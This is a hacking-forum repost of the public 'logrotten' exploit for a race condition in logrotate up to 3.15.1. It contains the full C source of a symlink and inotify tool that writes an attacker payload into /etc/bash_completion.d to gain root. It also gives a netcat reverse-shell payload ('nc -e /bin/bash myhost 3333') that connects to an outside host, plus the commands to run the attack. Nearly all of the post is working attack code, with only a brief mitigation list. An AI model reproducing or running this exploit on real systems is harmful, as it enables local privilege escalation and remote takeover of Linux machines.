Hoşgeldin Misafir

logrotten 3.15.1 - Privilege Escalation Exploit

NasyoneL

NasyoneL

Karanlık Özgürlüktür
25 Ağu 2017
25,060 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
logrotten 3.15.1 - Privilege Escalation Exploit--


Kod:
# Exploit Title: logrotten 3.15.1 - Privilege Escalation
# Exploit Author: Wolfgang Hotwagner
# Vendor Homepage: https://github.com/logrotate/logrotate
# Software Link: https://github.com/logrotate/logrotate/releases/tag/3.15.1
# Version: all versions through 3.15.1
# Tested on: Debian GNU/Linux 9.5 (stretch)
 
## Brief description
  - logrotate is prone to a race condition after renaming the logfile.
  - If logrotate is executed as root, with option that creates a
    file ( like create, copy, compress, etc.) and the user is in control
    of the logfile path, it is possible to abuse a race-condition to write
    files in ANY directories.
  - An attacker could elevate his privileges by writing reverse-shells into
    directories like "/etc/bash_completition.d/".
 
## Precondition for privilege escalation
  - Logrotate has to be executed as root
  - The logpath needs to be in control of the attacker
  - Any option that creates files is set in the logrotate configuration
 
## Tested version
  - Debian GNU/Linux 9.5 (stretch)
  - Amazon Linux 2 AMI (HVM)
  - Ubuntu 18.04.1
  - logrotate 3.8.6
  - logrotate 3.11.0
  - logrotate 3.15.0
 
## Compile
  - gcc -o logrotten logrotten.c
 
## Prepare payload
```
echo "if [ `id -u` -eq 0 ]; then (/bin/nc -e /bin/bash myhost 3333 &);
fi" > payloadfile
```
 
## Run exploit
 
If "create"-option is set in logrotate.cfg:
```
 ./logrotten -p ./payloadfile /tmp/log/pwnme.log
```
 
If "compress"-option is set in logrotate.cfg:
```
./logrotten -p ./payloadfile -c -s 4 /tmp/log/pwnme.log
```
 
## Known Problems
  - It's hard to win the race inside a docker container or on a lvm2-volume
 
## Mitigation
  - make sure that logpath is owned by root
  - use option "su" in logrotate.cfg
  - use selinux or apparmor
 
## Author
  - Wolfgang Hotwagner
 
## References
 
  - https://github.com/whotwagner/logrotten
  -
https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition
  -
https://tech.feedyourhead.at/content/abusing-a-race-condition-in-logrotate-to-elevate-privileges
  - https://www.ait.ac.at/themen/cyber-security/ait-sa-20190930-01/
  -
https://tech.feedyourhead.at/content/privilege-escalation-in-groonga-httpd
 
 
logrotten.c
 
/*
 * logrotate poc exploit
 *
 * [ Brief description ]
 *   - logrotate is prone to a race condition after renaming the logfile.
 *   - If logrotate is executed as root and the user is in control of the logfile path, it is possible to abuse a race-condition to write files in ANY directories.
 *   - An attacker could elevate his privileges by writing reverse-shells into 
 *     directories like "/etc/bash_completition.d/".
 *
 * [ Precondition for privilege escalation ]
 *   - Logrotate needs to be executed as root
 *   - The logpath needs to be in control of the attacker
 *   - Any option(create,compress,copy,etc..) that creates a new file is set in the logrotate configuration. 
 * 
 * [ Tested version ]
 *   - Debian GNU/Linux 9.5 (stretch)
 *   - Amazon Linux 2 AMI (HVM)
 *   - Ubuntu 18.04.1
 *   - logrotate 3.8.6
 *   - logrotate 3.11.0
 *   - logrotate 3.15.0
 *
 * [ Compile ]
 *   - gcc -o logrotten logrotten.c
 *
 * [ Prepare payload ]
 *   - echo "if [ `id -u` -eq 0 ]; then (/bin/nc -e /bin/bash myhost 3333 &); fi" > payloadfile
 *
 * [ Run exploit ]
 *   - nice -n -20 ./logrotten -p payloadfile /tmp/log/pwnme.log
 *   - if compress is used: nice -n -20 ./logrotten -c -s 3 -p payloadfile /tmp/log/pwnme.log.1
 *
 * [ Known Problems ]
 *   - It's hard to win the race inside a docker container or on a lvm2-volume
 *
 * [ Mitigation ]
 *   - make sure that logpath is owned by root
 *   - use su-option in logrotate.cfg
 *   - use selinux or apparmor
 *
 * [ Author ]
 *   - Wolfgang Hotwagner
 *
 * [ Contact ]
 *   - https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition
 *   - https://tech.feedyourhead.at/content/abusing-a-race-condition-in-logrotate-to-elevate-privileges
 *   - https://github.com/whotwagner/logrotten
 */
 
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/inotify.h>
#include <unistd.h>
#include <string.h>
#include <alloca.h>
#include <sys/stat.h>
#include <getopt.h>
 
 
#define EVENT_SIZE  ( sizeof (struct inotify_event) )
#define EVENT_BUF_LEN     ( 1024 * ( EVENT_SIZE + 16 ) )
 
/* use TARGETDIR without "/" at the end */
#define TARGETDIR "/etc/bash_completion.d"
 
#define PROGNAME "logrotten"
 
void usage(const char* progname)
{
        printf("usage: %s [OPTION...] <logfile>\n",progname);
        printf("  %-3s %-22s %-30s\n","-h","--help","Print this help");
        printf("  %-3s %-22s %-30s\n","-t","--targetdir <dir>","Abosulte path to the target directory");
        printf("  %-3s %-22s %-30s\n","-p","--payloadfile <file>","File that contains the payload");
        printf("  %-3s %-22s %-30s\n","-s","--sleep <sec>","Wait before writing the payload");
        printf("  %-3s %-22s %-30s\n","-d","--debug","Print verbose debug messages");
        printf("  %-3s %-22s %-30s\n","-c","--compress","Hijack compressed files instead of created logfiles");
        printf("  %-3s %-22s %-30s\n","-o","--open","Use IN_OPEN instead of IN_MOVED_FROM");
}
 
int main(int argc, char* argv[] )
{
  int length, i = 0;
  int j = 0;
  int index = 0;
  int fd;
  int wd;
  char buffer[EVENT_BUF_LEN];
  uint32_t imask = IN_MOVED_FROM;
  char *payloadfile = NULL;
  char *logfile = NULL;
  char *targetdir = NULL;
  char *logpath;
  char *logpath2;
  char *targetpath;
  int debug = 0;
  int sleeptime = 1;
  char ch;
  const char *p;
  FILE *source, *target;    
 
  int c;
 
  while(1)
  {
        int this_option_optind = optind ? optind : 1;
        int option_index = 0;
        static struct option long_options[] = {
                {"payloadfile", required_argument, 0, 0},
                {"targetdir", required_argument, 0, 0},
                {"sleep", required_argument, 0, 0},
                {"help", no_argument, 0, 0},
                {"open", no_argument, 0, 0},
                {"debug", no_argument, 0, 0},
                {"compress", no_argument, 0, 0},
                {0,0,0,0}
        };
 
        c = getopt_long(argc,argv,"hocdp:t:s:", long_options, &option_index);
        if (c == -1)
                break;
 
        switch(c)
        {
                case 'p':
                        payloadfile = alloca((strlen(optarg)+1)*sizeof(char));
                        memset(payloadfile,'\0',strlen(optarg)+1);
                        strncpy(payloadfile,optarg,strlen(optarg));
                        break;
                case 't':
                        targetdir = alloca((strlen(optarg)+1)*sizeof(char));
                        memset(targetdir,'\0',strlen(optarg)+1);
                        strncpy(targetdir,optarg,strlen(optarg));
                        break;
                case 'h':
                        usage(PROGNAME);
                        exit(EXIT_FAILURE);
                        break;
                case 'd':
                        debug = 1;
                        break;
                case 'o':
                        imask = IN_OPEN;
                        break;
                case 'c':
                        imask = IN_OPEN;
                        break;
                case 's':
                        sleeptime = atoi(optarg);
                        break;
                default:
                        usage(PROGNAME);
                        exit(EXIT_FAILURE);
                        break;
        }
  }
 
  if(argc == (optind+1))
  {
          logfile = alloca((strlen(argv[optind])+1)*sizeof(char));
          memset(logfile,'\0',strlen(argv[optind])+1);
          strncpy(logfile,argv[optind],strlen(argv[optind]));
  }
  else
  {
          usage(PROGNAME);
          exit(EXIT_FAILURE);
  }
 
  for(j=strlen(logfile); (logfile[j] != '/') && (j != 0); j--);
 
  index = j+1;
 
  p = &logfile[index];
 
  logpath = alloca(strlen(logfile)*sizeof(char));
  logpath2 = alloca((strlen(logfile)+2)*sizeof(char));
 
  if(targetdir != NULL)
  {
        targetpath = alloca( ( (strlen(targetdir)) + (strlen(p)) +3) *sizeof(char));
        strcat(targetpath,targetdir);
  }
  else
  {
        targetdir= TARGETDIR;
        targetpath = alloca( ( (strlen(TARGETDIR)) + (strlen(p)) +3) *sizeof(char));
        targetpath[0] = '\0';
        strcat(targetpath,TARGETDIR);
  }
  strcat(targetpath,"/");
  strcat(targetpath,p);
 
  for(j = 0; j < index; j++)
          logpath[j] = logfile[j];
  logpath[j-1] = '\0';
 
  strcpy(logpath2,logpath);
  logpath2[strlen(logpath)] = '2';
  logpath2[strlen(logpath)+1] = '\0';
 
  /*creating the INOTIFY instance*/
  fd = inotify_init();
 
  if( debug == 1)
  {
        printf("logfile: %s\n",logfile);
        printf("logpath: %s\n",logpath);
        printf("logpath2: %s\n",logpath2);
        printf("targetpath: %s\n",targetpath);
        printf("targetdir: %s\n",targetdir);
        printf("p: %s\n",p);
  }
 
  /*checking for error*/
  if ( fd < 0 ) {
    perror( "inotify_init" );
  }
 
  wd = inotify_add_watch( fd,logpath, imask );
 
  printf("Waiting for rotating %s...\n",logfile);
 
while(1)
{
  i=0;
  length = read( fd, buffer, EVENT_BUF_LEN ); 
 
  while (i < length) {     
      struct inotify_event *event = ( struct inotify_event * ) &buffer[ i ];     if ( event->len ) {
      if ( event->mask & imask ) { 
          if(strcmp(event->name,p) == 0)
          {
            rename(logpath,logpath2);
            symlink(targetdir,logpath);
            printf("Renamed %s with %s and created symlink to %s\n",logpath,logpath2,targetdir);
            if(payloadfile != NULL)
            {
                 printf("Waiting %d seconds before writing payload...\n",sleeptime);
                 sleep(sleeptime);
                 source = fopen(payloadfile, "r");          
                 if(source == NULL)
                         exit(EXIT_FAILURE);
 
                 target = fopen(targetpath, "w");           
                 if(target == NULL)
                 {
                         fclose(source);
                         exit(EXIT_FAILURE);
                 }
 
                 while ((ch = fgetc(source)) != EOF)
                         fputc(ch, target);
 
                 chmod(targetpath,S_IRUSR | S_IXUSR | S_IRGRP | S_IXGRP | S_IROTH | S_IXOTH);
                 fclose(source);
                 fclose(target);
            }
            inotify_rm_watch( fd, wd );
            close( fd );
            printf("Done!\n");
 
            exit(EXIT_SUCCESS);
          }
      }
    }
    i += EVENT_SIZE + event->len;
  }
}
  /*removing from the watch list.*/
   inotify_rm_watch( fd, wd );
 
  /*closing the INOTIFY instance*/
   close( fd );
 
   exit(EXIT_SUCCESS);
}
 
#  0day.today [2019-10-14]  #